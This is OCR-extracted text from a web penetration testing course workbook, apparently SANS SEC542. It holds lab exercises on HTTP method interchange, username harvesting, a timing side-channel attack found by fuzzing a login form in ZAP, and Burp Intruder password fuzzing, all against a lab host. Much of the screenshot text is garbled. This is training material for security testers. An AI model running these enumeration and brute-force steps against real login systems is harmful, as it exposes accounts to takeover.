DELETE i 5.0 (X11; Ubuntu; Linux %86 64; rv:101.0) Gecko/20100101 Firef A

| /] icati lication/xml;q=0.9.image/avif,ima J*/*;g=0.8

I app[Ttation/x-www-form-urlencoded
OPTIONS th: 34

POST 5://sech42. org
BUT keep-alive

|ps: //sec542.org/form2/
TRACE lcure-Requests: 1

Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: 71

user=ford:pass=gal axy-button=Lagin

Time: 'Body Length: Total Length:

6. Note the text "Successful Form Authentication!", indicating our method interchange attempt was successful.
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- Manual Request Editor. = £ X

Request Response

| Header: Text | Body; Text | | [=] [E] Send

HTTF/1.1 260 0K

Date: Fri, 24 Jun 2022 18:12:49 GMT
Server: Apache/2.4.41 (Ubuntu)

Wary: Accept-Encoding

Content-Length: 453

Keep-Alive; timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<! DOCTYPE html PUBLTC "-//MW3C//0TD html 4,01 Transitional//EN"
"http://www.w3.0rg/TR/htmld,/loose. dtd">
<html=
<head=
<title=Form Login=/title>
=</head=
<hody=>

<farm method=post action=login,php>
<Hl=Successful Farm Authentication!</Hl=<br=Enjoy an image from the Apollo 11 mission, courtesy of the Project
Apollo Archive (http://www.apolloarchive.com/ or simply Google "Project Apollo Archive")<br=<br=<img src=
" /images/apollo-11, jpg"=</body=>
=/html=

Time: 22 ms Body Length: 453 bytes Total Length: 681 bytes.

~

. Go back to the request tab and copy the newly GET-ified URL:

b Manual Reguest Editor

Request se

Method | Header: Text ~ || Body: Text v | | (=l =] O QEE @

GET https://sec542,org/forn2/login. php7user=ford&pass=galaxySbutton=Lagin HTTF/1.1

Host: q

User-Age i11a/5.0 (X11; Ubuntu; Linux %88 64: rv:101.0) Gecko,/20100101 Firefox/101.0
lication/xhtml+xml, application/xml;q=0.9,image/avif, image webp,*/*;q=0.8
;q=0.5

Accept-Language: en=
Content-Type: applicati
Content-Length: O
Origin: hitps://sec542.0rg
Connection: keep-alive
Referer: https://sec342.org/form2/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-S1te: same-origin
Sec-Fetch-User: 71

-form-urlencoded

[ocd

. Surf there directly in Firefox: https://sec542.org/form2/login.php?user=ford&pass=galaxy&button=Login

Pro-Tip

Once you have a valid URL with the proper URI parameters set, it's usually easier and faster to simply hack the URI options
directly in the browser, as opposed to going back/forth using an interception proxy.

9. As a bonus step, try method interchange on the previous form (https:/sec542.org/form/). Note that you will receive "Incorrect username or password" on that form.

https://sec542.org/form/login.php?user=ford&pass=galaxy&button=Login
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1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox Proxy Selector drop-down and choose [Direct].

n o

O [System Proxy]
@ Burp Community
Burp Pro

@ Zap

-

localhost «

/& Options

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 101


https://technet24.ir

Exercise 2.4 - Username Harvesting

Objectives

» Understand username harvesting techniques
+ Use programmatic methods to discern legitimate users
« Discern valid usernames when differences are observable in HTML response

« Employ blind techniques for username harvesting without HTML differences

Lab Setup

1. Create a file containing common American/English last names (surnames), and include a few last names from the Hitchhiker's

Guide to the Galaxy for good measure.

2. Type the following in a Sec542 Linux VM terminal:
gedit /home/student/lastnames

3. Add the following names to the /home/student/lastnames file:

beeblebrox
dent
prefect
jones
smith

Note

Be sure to hit <BACKSPACE> after you've pasted the names, so that the cursor is after smith (and not below on the next line),
as shown in the following screenshot. An extra blank line in this file will cause the tools to try and guess a blank last name.

Please use these names: If you freestyle here, you may miss some results. Also, note that Ford Prefect's last name is 'prefect’,

not 'perfect’.
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Open | = \ + i Iastn-ames Save || ¥ - + X
1 beeblebrox
2 dent
Bprefect
4 jones
5 smith
PlainText v TabWidth:8 = Ln5, Col 6 ¥ INS

4. Then save the file and exit gedit .

Challenges

1. Harvest valid usernames via these forms:

« http://sec542.org/userenum/login.php

* http://sec542.org/userenum/securelogin.php

+ User adent is valid on both forms.
2. Combine these wordlists to discover additional names:
- /home/student/lastnames (created in the previous Lab Setup section)

« /opt/wordlists/US-census2010-lastnames-top-100.txt

Hints

1. The user_enum script helps with the first form:
+ Skip the script if you want to be more challenged.
2. ZAP or Burp help with either form:

+ They are especially helpful with the second form.

+ The previous lecture includes some hints.
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Solution

Test the Login Form

1. Launch Firefox and go to http://sec542.org/userenum/login.php.

2. Ensure [Direct] is selected on the Proxy Selector toolbar.

3. Try a bad username, bad password:
‘User: asdf

*Password: asdf
4. Then try a good username, bad password:

‘user: adent

‘Password: asdf

5. Take note that a bad username results in a blank form whereas a valid username remains filled in on the subsequent form:

User

adent

Password

| Login

Enumerating Users
1. Let's harvest valid usernames from this authentication form.
2. Verify that you have created the /home/student/lastnames (asinstructed in the Lab Setup section).
3 SEC542 instructor Adrien de Beaupre (@adriendb) also wrote a script for this lab called US€@F _enum that was extended upon by Ryan Nicholson (SEC488 and SEC541 author).

This script takes two arguments: —=target to identify the login form to be tested and either -—file to specify a file containing a list of users or --user-Tlist
followed by a comma-separated list of users.

4. Run the following command:

user_enum --target http://sec542.org/userenum/login.php --file /home/student/lastnames

v Terminal - student@sec542: ~ =i

File Edit View Terminal Tabs Help

[~]% user enum --target http://sec542.org/userenum/login.php
--file /home/student/lastnames

Found: zbeeblebrox

Found: adent

Found: fprefect

Found: hjones

Found: lsmith

i~1s N

5 Lets improve our discovery rate by combining our /home/student/'lastnames list with the top 100 last names reported during the 2010 US Census.

* Jopt/wordlists/US-census2010-lastnames-top-100.txt

6. We will also remove any duplicates.

7. Combine the two wordlists and remove duplicate entries by typing the following command:
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cat /opt/wordlists/US-census2010-lastnames-top-100.txt /home/student/lastnames | sort -u
> /home/student/combined

8. Type this as one continuous line with no breaks.

Note

This command concatenates the two files, sorts them, and prints unique entries only (sort's "-u" flag). It then saves the
resultsto /home/student/combined .

9. Another hallmark of professional penetration testing is efficiency: the names smith and jones appear on both lists, and there's no sense trying each twice.

10. Then try the combined wordlist with User_enum :

user_enum —--target http://sec542.org/userenum/login.php --file /home/student/combined

= Terminal - student@sec542; ~ =]
File Edit View Terminal Tabs Help

[~]1$ user enum --target http://sec542.org/userenum/login.php
--file /home/student/combined

Found: zbeeblebrox

Found: adent

Found: djohnson

Found: hjones

Found: Kklewis

Found: fprefect

Found: lsmith

Found: swilliams

-1 il

11. We found more names!
Let's Try the Second Form

1. Launch Firefox and go to http://sec542.org/userenum/securelogin.php.
2. Ensure No Proxy is selected on the Proxy Selector toolbar.

3. Try a bad username, bad password:
‘User: asdf
*Password: asdf

4. Then try a good username, bad password:
‘user: adent

*Password: asdf

5. Hmmm... the responses appear to be identical, unlike the last step.

User

Password

| Login
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Launch ZAP

1. Launch ZAP by clicking the ZAP icon in the upper panel at the top of the screen:

Note

ZAP takes a while to launch, roughly 10 seconds or so. Many students end up accidentally launching ZAP two or three times
during the delay. Run one instance of ZAP only.

Multiple instances of ZAP are running if you see this warning:

L~ - x B
Q Proxy port 8081 was in use. Try: 8082 ¢

Yes No

In this case, close the additional ZAP instances, leaving the original. When in doubt, close all ZAP instances and start over.

Warning

ZAP must be listening on port 8081 for this lab to work.

2. After ZAP starts, launch Firefox by clicking the Firefox icon in the upper panel.

3. Configure Firefox to use the running proxy.

4. In Firefox, select ZAP from the proxy selector drop-down:
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i @ O
«" [Direct]
. (O [System Proxy]
@ Burp Community
Burp Pro
Zap
Y localhost ~

/ Options

Note

Always use the proxy selector to manage Firefox's proxy settings. Do not use other methods.

Let's Fuzz
1. In Firefox, go to http://sec542.org/userenum/securelogin.php and retry a good username, bad password:
‘user. adent
" Password: asdf

2. In ZAP, ensure the Filter is OFF. If it is ON, click the Filter icon, choose Clear and Apply.

3. Go to the History tab and right-click the POST to http://sec542.org/userenum/securelogin.php.

4. Choose Attack and then click Fuzz...:

File Edit View Analyse Report Tools Import Online Help

StandardMode v|[1 B il @ @ I 2B EHE D0 @E& 8 VO ) 0¥E -EH00C¢C
@ sites = ; 47 Quick Start # = Request = Response &=
ens I
Welcome to OWASP ZAP
v ﬁcuntex‘cs
(@] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
v @ sites If you are new to ZAP then it is best to start with one of the options below.

» g https:/fshavar.services.mozilla.com
[ P http:/fsec542.0rg

| | GET:favicon.ico
I images @
Er W

-

|| W GET:securelogin.php
N X Automated Scan Manual Explore Learn More
|| P POST:securelogin.php()(button,pass,user)

New ZAP Reporting Competition announced Learn More *

i History © Search [Walerts | outputgl 4=

@ @ ' Filter: OFF ¢ Export
Id Source Req. Timestamp URL Code Reason® RTT Size Resp. Body Highest Alert Note Tags ==
A & spider...

Include in Context 2} Active Scan...
Flag as Context > #* Forced Browse Site
Run application » 4 Forced Browse Di
Exclude from Context > 4 Forced Brow: ectory (and Children)
4 open/Resend with Request Editor...
Exclude from
Alerts MO 1 52 M1 Primary Proxy: localhost:8081 Open URL in Browser Y 8o @0 d0 @0 W0 S0 o
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5 In the ZAP Fuzzer menu, highlight the "a" in "adent".

6. Be sure to highlight a single character only; we use this position to fuzz the first initial.

7. Then click Add....

v Fuzzer

Fuz Locations Options Message Processors

Header: Text * Body: Text ~ | [ []

POST http://sec542.org/userenum/securelogin.php HTTP/1.1
User-Agent: Mozillas5.0 (X11:; Ubuntu; Linux x86 64; rv:B6.0) Gecko/
20100101 Firefox/86.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
webp, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://sec542.org

Connection: keep-alive

Referer: http://sec542.org/userenum/securelogin.php
Upgrade-Insecure-Requests: 1

Host: secS42.org

us pass=asdfibutton=Login

Fuz Locations:

L.

Valus #of . #of.. f __Add. |

/| Remove Without Confirmation

Q@ Start Fuzer Reset Cancel
8. Click Add... again on the next Payloads screen.
b Payloads + X
Location: Body [5, 6]
Value: a
Payloads:
= Type Description # of Processors
Remove
T':'F'
\__Ip
Down
Bottom
|| Remove Without Confirmation
Cancel 0K
Add the Payload
1. In the ZAP Add Payload menu, click the Type dropdown and select File Fuzzers.
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v Add Payload + X |

Type: | Strings ~

Conte E.mpty!NuII

son
Numberz
Regex (*Experimental+)
Script
Strings

I

2. Then, select jbrofuzz (triangle not checkbox) -> Alphabets (triangle)-> English Alphabet (checkbox).
e Add Payload + X
Type:  File Fuzzers e
Files: Find Next Find Previous

v |VIjbrofuz
|v|Alphabets

[ |Ascl 85 Alphabet
_|ASCIl 94 Alphabet
_|ASCIl 95 Alphabet
__|Alpha Numeric
_ |Base32 (Extended HEX) Alphabet
_|Base32 Alphabet
_|BaseB4 (URLFile Safe) Alphabet
_|Base64 Alphabet

Payloads Preview: English Alphabet
1

Bl 5 i
o o 0 oo

3. We specify clicking the triangle expansion icon next to jbrofuzz because clicking the check box next to jbrofuzz selects every jbrofuzz payload. We want only one in this case. The
same is true for Alphabets; we only want one: English Alphabet.

4. Click Add.
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-

Type:

File Fuzers

Files:

Add Payload + X |

Find Next Find Previous

[ |Base

| |Base32 Alphabet

| |Basef4 (URLSFile Safe) Alphabet
| |Base64 Alphabet

| |DNA Fuzzer

M English Alphabet

2 ) ) [ G0 bl

Payloads Preview: English Alphabet
1:

4T K O N oW

Cancel Add

(&)

. Click OK on the Payloads screen.

Value:
Payloa

Location: Body [5, 6]

a
ds:

1 File Fuz...

Add...
English A... Modify...
Remowve

Processors...
Top
UF'

Down

Bottom

|v/| Remove Without Confirmation

Cancel oK

Fuzz the Last Name

1. In the ZAP Fuzzer menu, highlight the "dent" in "adent".

2. Click Add..

110
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Fuzzer

Fuz Locations Options Message Processors

Header: Text ~ Body: Text ~ | [ | [ Fuz Locations:

POST http://sec542.org/userenum/securelogin.php HTTP/1.1 L.
User-Agent: Mozillas5.0 (X11:; Ubuntu; Linux x86 64; rv:B6.0) Gecko/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
webp, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://sec542.org

Connection: keep-alive

Referer: http://sec542.org/userenum/securelogin.php
Upgrade-Insecure-Requests: 1

Host: sec542.o0rg

use s=asdfibutton=Login

20100101 Firefox/86.0 Bo... a 26 0

[/| Remove Without Confirmation

Payloads...

Processors...

2]}

Start Fuzzer

Reset

Cancel

w

. Click Add... again on the next Payloads screen.

-

Payloads + X
Location: Body [6, 10]
Value: dent
Payloads:

# Type Descriptio

Top
l—lF'

Bottom

|v'| Remove Without Confirmation

Cancel 0K

Add the Payload

1. In the ZAP Add Payload menu, select Type: File.
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N

e Add Payload

+

- 7

Type: | Strings

>

Json
Numberz
Regex (*Experimental+)
Script
Strings
|

| |
Contml

“Then select /home/student/combined ,and click Add.

Type:  File

Filel fhome/student/combined

Character Encoding:  UTF-8

Limit: [ |

Value:

Comment Token:  #

Ignore Empty Lines: | |

Ignore First Line: | |

Payloads Preview: adams
allen
anderson
bailey
baker
barnes
beeblebrox
bell
bennett
brooks
brown
butler
campbell
carter
clark
collins

Il save...

2] Cancel

Add

3. Then, click OK on the Payloads screen.
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Location: Body [6, 10]
Value: dent

Payloads:

Add...

combined Modify...

Remove

|v| Remove Without Confirmation

Cancel oK

Start the Fuzzer

1. Click Start Fuzzer, and ZAP starts fuzzing.

Fuz Locations Options Message Processors

Header: Text ~ Body: Text ~ | [ | [ Fuz Locations:

POST http://sec542.org/userenum/securelogin.php HTTP/1.1 L.~ Value # of... #0of... & Add...
User-Agent: Mozillas5.0 (X11; Ubuntu; Linux x86_64; rv:B6.0) Gecko/ Bo a 26 0 Remove
20100101 Firefox,/86.0
Accept: text/html,application/xhtml+xml,application/xnl;q=0.9,1image/ Bo... dent 103 0
webp, */*;q=0.8 Payloads...
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded Processors...
Content-Length: 33

Origin: http://sec542.org

Connection: keep-alive

Referer: http://sec542.org/userenum/securelogin.php
Upgrade-Insecure-Requests: 1

Host: sec542.org

user=adent “pass=asdfibutton=Login

|v| Remove Without Confirnftion

@ Start Fuzer Reset Cancel

2. Following is the default output, with some columns adjusted for readability.
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5 History G Search [Walerts | Output 4 Fuzer # x =

4 New Fuzzer Progress: 0: HTTP - http://sec542...securelogin.php ~ <7 Current fuzzers: 0 ik
Messages Sent: 2678 Errors: 0 w Errors é Export
Task ID Message Type Code Reason RTT Size Resp. Header Size Resp. Body Highest Alert State Payloads ]

0 Original 200 OK 209 ms 229 bytes 1,044 bytes ¥ Medium

1 Fuzed 200 OK 5ms 229 bytes 1,044 bytes i} Reflected a, adams

2 Fuzed 200 OK 24 ms 229 bytes 1,044 bytes . Reflected a, allen

3 Fuzed 200 OK 17 ms 229 bytes 1,044 bytes i/ Reflected a, anderson

4 Fuzed 200 OK l4ms 229 bytes 1,044 bytes i Reflected a, bailey

5 Fuzed 200 OK 37 ms 228 bytes 1,044 bytes . Reflected a, baker

6 Fuzed 200 OK 12ms 228 bytes 1,044 bytes i/ Reflected a, barnes

2 e EN. n00 hotan Taan bsan banblak

- ann_aw Paflantad -
Alerts W0 1 3 M2 Primary Proxy: localhost:8081 Current Scans 4 0 &0 @0 D0 @0 #o 0 #oO

Find the Valid Users

1. Every attempt generates a 200 HTTP response code, both successful and failed.
2. This is a common issue.
3. Responses look identical.

4. Try sorting by the RTT (Round Trip Time) column, largest to smallest.

= History © Search [WaAlerts | Output & Fuzer # x <
4¥ New Fuzzer Progress: 0: HTTP - http://sec542...securelogin.php ¥ Current fuzzers: 0 )

Messages Sent: 2678 Errors: 0 % Show Errors & Export

D w Type (‘DWH RIT iiﬁ ﬁiii Hiiiii iii ﬁiii ﬁpdv H\(‘IW rﬂ'e PW
1,079 Fuzed 200 0K 559 ms 228 bytes 1,044 bytes k. lewis
1,220 Fuzed 200 OK 537 ms 228 bytes 1,044 bytes . Reflected I, smith
586 Fuzed 200 0K 342 ms 228 bytes 1,044 bytes i Reflected f, prefect
353 Fuzed 200 0K 289 ms 228 bytes 1,044 bytes i/ Reflected d, johnson
22 Fuzed 200 OK 278 ms 228 bytes 1,044 bytes i/ Reflected a, dent
1,953 Fuzed 200 OK 265 ms 228 bytes 1,044 bytes i Reflected s, williams
2,582 Fuzed 200 OK 265 ms 228 bytes 1,044 bytes . Reflected z, beeblebrox
766 Fuzed 200 OK 235 ms 228 bytes 1,044 bytes i Reflected h. jones
——— — — =p— —— ——
861 Fuzed 200 OK 47 ms 228 bytes 1,044 bytes i/ Reflected i, hernandez
2,036 Fuzed 200 OK 38 ms 228 bytes 1,044 bytes i Reflected t, robinson
5 Fuzed 200 OK 37 ms 228 bytes 1,044 bytes . Reflected a, baker
1,296 Fuzed 200 OK 33 ms 228 bytes 1,044 bytes i/ Reflected m, murphy
27 Fuzed 200 0K 29 ms 228 bytes 1,044 bytes i/ Reflected a, flores
1,914 Fuzed 200 OK 29 ms 228 bytes 1,044 bytes i Reflected s, murphy
Alerts W0 1 (3 R 2 Primary Proxy: localhost:8081 Current Scans 4 0 &0 @0 )0 @0 o 0 o

5. Your RTT (round trip time) numbers and the order of users listed will differ somewhat from the preceding screenshot. You should see that the RTT (round trip time) for valid users is
more than ten times greater than the RTT for invalid users.

Note

The timing results are highly dependent on your local system load: the host, VM, CPU load, RAM usage, etc. Sometimes non-
valid users have higher round trip times due to these kinds of load issues. This is very realistic compared to results we
encounter in the real world (especially when you add Internet latency to the list of factors).

6. If you see other (non-valid) accounts with higher RTTs that may cloud the results, run the test again. You'll see that valid users always have longer RTTs, but a handful of (different)
accounts may appear each time you test. In the real world always test multiple times to identify these types of outliers.

7. We now have a list of valid users: adent, djohnson, fprefect, hjones, klewis, Ismith, swilliams, and zbeeblebrox. The “original” request was adent, which is why it is also included.

Why Does This Timing Attack Work?

1. Our results show:
+ Valid users RTT: > 200 ms.
+ Invalid: < 50 ms.
2. These are rough numbers, depending on the speed of your hardware, and more.
3. See the note on the previous page that discusses local system load issues.
4. This works because the web developer used berypt to hash passwords for good usernames only:

5. Here is the PHP code that results in a timing attack:
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if($usergood == 1){
$options = [
'cost' => 12,

13

cost of 10 and some CPU load on the target system.

$hash=password_hash("$pass", PASSWORD_BCRYPT, $options)."\n";

Messages Sent: 2678 Errors: 0 1\ Show Errors ﬁ ExEor‘t
TaskID Message Type Code  Reason RTT Size Resp. Header Size Resp. Body  Hi... State Payloads (e
233 Fuzed 200 OK 538 ms 28 bytes 1,044 bytes i Reflected c, flores
232 Fuzed 200 OK 538 ms 28 bytes 1,044 bytes i Reflected c, fisher
234 Fuzed 200 OK 536 ms 28 bytes 1,044 bytes i/ Reflected c, foster
1 Fuzed 200 QK 446 ms 29 bytes 1,044 bytes i Reflected a, adams
1,220 Fuzed 200 OK 400 ms 28 bytes 1,044 bytes .. Reflected I, smith
3 Fuzed 200 OK 334 ms 29 bytes 1,044 bytes i Reflected a, anderson
4 Fuzed 200 OK 334 ms 29 bytes 1,044 bytes i Reflected a, bailey
2 Fuzed 200 OK 304 ms 29 bytes 1,044 bytes i Reflected a, allen
5 Fuzed 200 OK 297 ms 29 bytes 1,044 bytes i Reflected a, baker
2,582 Fuzed 200 OK 242 ms 28 bytes 1,044 bytes ... Reflected z, beeblebrox
1,953 Fuzed 200 OK 227 ms 28 bytes 1,044 bytes .. Reflected s, williams
0 Original 200 OK 209 ms 29 bytes 1,044 bytes [
1,079 Fuzed 200 OK 167 ms 28 bytes 1,044 bytes k. lewis
586 Fuzed 200 OK 136 ms 28 bytes 1,044 bytes ... Reflected f. prefect
2,479 Fuzed 200 OK 128 ms 28 bytes 1,044 bytes i Reflected v, beeblebrox
2,474 Fuzed 200 OK 127 ms 28 bytes 1,044 bytes i Reflected y. allen
2,476 Fuzed 200 OK 125ms 28 bytes 1,044 bytes i/ Reflected y. bailey
2,478 Fuzed 200 OK 124 ms 27 bytes 1,044 bytes i/ Reflected y. barnes
2,477 Fuzed 200 OK 124 ms 28 bytes 1,044 bytes i/ Reflected v, baker
766 Fuzed 200 OK 112ms 28 bytes 1,044 bytes ... Reflected h. jones
2,273 Fuzed 200 OK 104 ms 28 bytes 1,044 bytes i Reflected w, beeblebrox
2,274 Fuzed 200 OK 98 ms 28 bytes 1,044 bytes i/ Reflected w, bell
2,275 Fuzed 200 QK 98 ms 28 bytes 1,044 bytes i Reflected w, bennett
2,276 Fuzed 200 OK 97 ms 28 bytes 1,044 bytes i Reflected w, brooks
2,277 Fuzed 200 OK 96 ms 28 bytes 1,044 bytes i/ Reflected w, brown
353 Fuzed 200 OK 86 ms 28 bytes 1,044 bytes .. Reflected d, johnson
1,125 Fuzed 200 OK 21 28 bytes 1,044 bytes % ||
Alerts QO F1 3 P2 Primary Proxy: localhost:8081 Current Scans § 0 &0 @0 D0 @0 #o 0 o0

*1,2,3,4,and 5

+232,233,and 234

+ 2273, 2274, 2275, 2276, and 2277
+ 2474, 2476, 2477, and 2478

1. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

2. Go to the Firefox Proxy Selector drop-down and choose [Direct].

8. Notice that the false positives closest to the actual results look to have occurred at about the same time. Several request groups occured at:

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

6. We set the cost (number of berypt rounds) in the PHP application to 12 to ensure consistent results. This is also a setting commonly used by security-minded web developers.

7. Using default settings results in a smaller, but still noticeable, timing difference, but with a higher incidence of false positives. These results were generated with the default berypt

9. In the screenshot, the valid accounts are highlighted. The system load caused extra delay in a large number of responses, resulting in slower RTTs, and many more accounts to be
potentially considered valid. This example shows the non-deterministic nature of this type of inference (side channel) attack.
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© [System Proxy]

@ Burp Community
Burp Pro
@ ZzZap

Y localhost -

/& Options

References

[1] http://www.census.gov/topics/population/genealogy/data/2010_surnames.html
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Exercise 2.5 - Fuzzing with Burp Intruder

Objectives

+ Gain experience with Burp Intruder
+ Understand Intruder positions and payload

+ Use Burp to attack the password input of an authentication form

Lab Setup

1. In the SEC542 Linux VM, open Burp Pro and then open Firefox.

File System

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

2. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the

default option of Use Burp Defaults).
3. Wait for Burp Pro to launch.

4. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.
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Note

If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? X

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

Delete

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

5. In Firefox, go to the proxy selector and choose Burp Pro.

¥ N @

O [System Proxy]

@ Burp Community
Burp Pro

'ﬂ @ zap \

Y localhost ~

/& Options

Challenges

1. Target User: adent

2. Password dictionary:
/opt/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt

3. Perform the following steps:

* In Firefox, go to https://sec542.org/form/

+ Generate a failed login by attempting to log in with username: adent, password: asdf

+ Using Burp, fuzz the HTTP POST to https://sec542.org/form/ with Burp Intruder
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Solution

Seeding Burp

1. We use a good username with a bad password, and will intentionally fail to log in to provide Burp with the proper entry to fuzz.
2. In Firefox, go to https://sec542.org/form/.
3. Attempt (and fail) to log in to the form:

*Username: adent

*Password: asdf
4. Then click Login.

5. You will see the error Incorrect username or password.

Error

Incorrect username or password

Please try again

6. Switch to the Burp -> Proxy -> HTTP History tab and then right-click this POST:
POST /form/login.php

Note

Be sure to choose the POST and not the GET. Burp's Request window (Raw tab) shows the request we will fuzz (you might
need to scroll down to see the request):

user=adent&pass=asdf&button=Login

7. Then choose Send to Intruder.
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Fretty BEETTM \n Actions v

POST /form/login.php HTTP/1.1

Host: secS542.o0rg

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB86_g4
Firefox/86.0

Accept: text/html,application/xhtml+xml,applicatior
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

WK

g

(4]

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options
Intercept HTTP history WebSockets history Options
Re-enable
| Filter: Hiding C55, image and general binary content
# Host Method URL Params Edited Status Length MIMEty.. Extension Title
1 200 1241 HTML Form Authenticati
4 of 200 5n9 HTML php Form Login
https:/fsec542.org/formflogin.php
Remave from scope
Scan
Do passive scan
Do active scan
ﬁ Send to Intruder Ctrl-1
Send to Repeater Ctrl-R
5end to Sequencer
Request Response

Send to Comparer (request)

Send to Comparer (response)

Show response in browser 1
2
Request in browser > 3
Engagement tools > 4
5

Show new history window

Add comment

7 Content-Type: application/x-www-form-urlencoded 8
g Content-Length: 33 Highlight > 9 =IDOCTYPE html PUBLIC "-//
9 0Origin: https://sec542.0rg . 10 "http://www.w3.0rg/TR/html
10 Connection: close Delete item 11 <html=
11 Referer: https://sec542.org/form/ Clear history :12  <head=
12 Cookie: phpbb3 grk7n_u=48; phpbb3 ark7n_k=: phpbb3 "13 <title=
ce2559d81bd6dd70f8993528d82c077e Copy URL Form Login
3 Upgrade-Insecure-Requests: 1 Copy as curl command <ftitle=
14 14  =fhead=
15 user=adent &pass=asdf&button=Login Copy links 15 <body=
: 16 =form method=post acti
Save item =
17 =Hl=
Proxy history documentation Error
</Hl=>
T "

He-a'8 Raw Render \n  Actig

HTTRP/1.1 200 OK

Date: Tue, 20 Apr 2021 11:
Server: Apache/2.4.29 (Ubu
Vary: Accept-Encoding
Content-Length: 318
Connection: close
Content-Type: text/html; c

Burp Intruder

1. In Burp, click the Intruder tab. The text in that tab will turn yellow/orange for a short time after Send to Intruder is chosen (in the previous section), and then it will turn back to black.

2. Click the Positions tab.
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Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 x 2 =

Target Payloads Options

(@) Payload Positions

Attack type: | Sniper

POST /form/login.php HTTP/1.1

6 payload positions Length: 611

1 [ Add §

2 Host: secS542.org ——
3 User-Agent: Mozilla/5.0 (X11: Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0 | Clear &

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;g=0.8 —
S Accept-lLanguage: en-US,en;q=0.5 | Auto §

5 Accept-Encoding: gzip, deflate —
7 Content-Type: application/x-www-form-urlencoded | Refresh

& Content-Length: 33

S Origin: https://sec542.org

10 Connection: close

11 Referer: https://sec542.org/form/

12 Cookie: phpbb3_grk7n_u=848§8; phpbb3 ark7n_k=88; phpbb3_grk7n_sid=§ce2558d8lbd6dd70f8293528d82c077e8

13 Upgrade-Insecure-Requests: 1

14

15 user=Sadent§&pass=Sasdf§&button=5§Login§

®@ ‘i“j‘ | Search 0 matches Clear

3. Note that Burp has automatically identified/highlighted three positions to fuzz. It uses the "§" character (called a section symbol) to delineate each field:

user=§adent§&pass=§asdf§&button=§Loginé

4. Click Clear § to clear the automatically determined fuzzing positions. We will manually add one position back in the next section.

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 = 2 x
Target Positions Payloads Options

(@) Payload Positions m

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to
payload positions - see help for full details.

Attack type: | Sniper v |
1 posT sform/login.php HTTR/1.1
2 Host: sec542.org
3 User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
5

Accept-Language: en-US,en;g=0.5 Auto §
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: https://sec542.0rg

Connection: close

11 Referer: https://sec542.org/form/

12 Cookie: phpbb3 grk7n_u=48; phpbb3 grk7n_k=; phpbb3_grk7n_sid=ce2559d81bd6dd70f8993528d82c077e
13 Upgrade-Insecure-Requests: 1

14

15 user=adent&pass=asdfi&button=Login

Refresh ‘

[T

=
=]

@ (<))

0 payload positions Length: 599

0 matches Clear

Add the Password
1. Highlight the password you typed previously.
2 twillbe asdf if you followed the directions closely.

3 Simply double-clicking in the middle of @asdf should highlight the entire password.
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4. Click Add § to fuzz that field. It should now look like the following, with section symbols (§) around asdf :

Burp Project Intruder Repeater Window Help

(@) Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to
payload positions - see help for full details.

Attack type: | Sniper

POST /form/login.php HTTR/1.1

Host: sec542.org

User-Agent: Mozilla/5.0 (X11; Ubuntu: Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/¥;q=0.8

[ SYENE

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
1 = 2 x
Target Positions Payloads Options

Accept-Language: en-US,en;q=0.5 ‘ Auto § ‘
5 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded ‘ Refresh ’
5 Content-Length: 33
9 Origin: https://sec542.0rg
10 Connection: close
11 Referer: https://sec542.org/form/
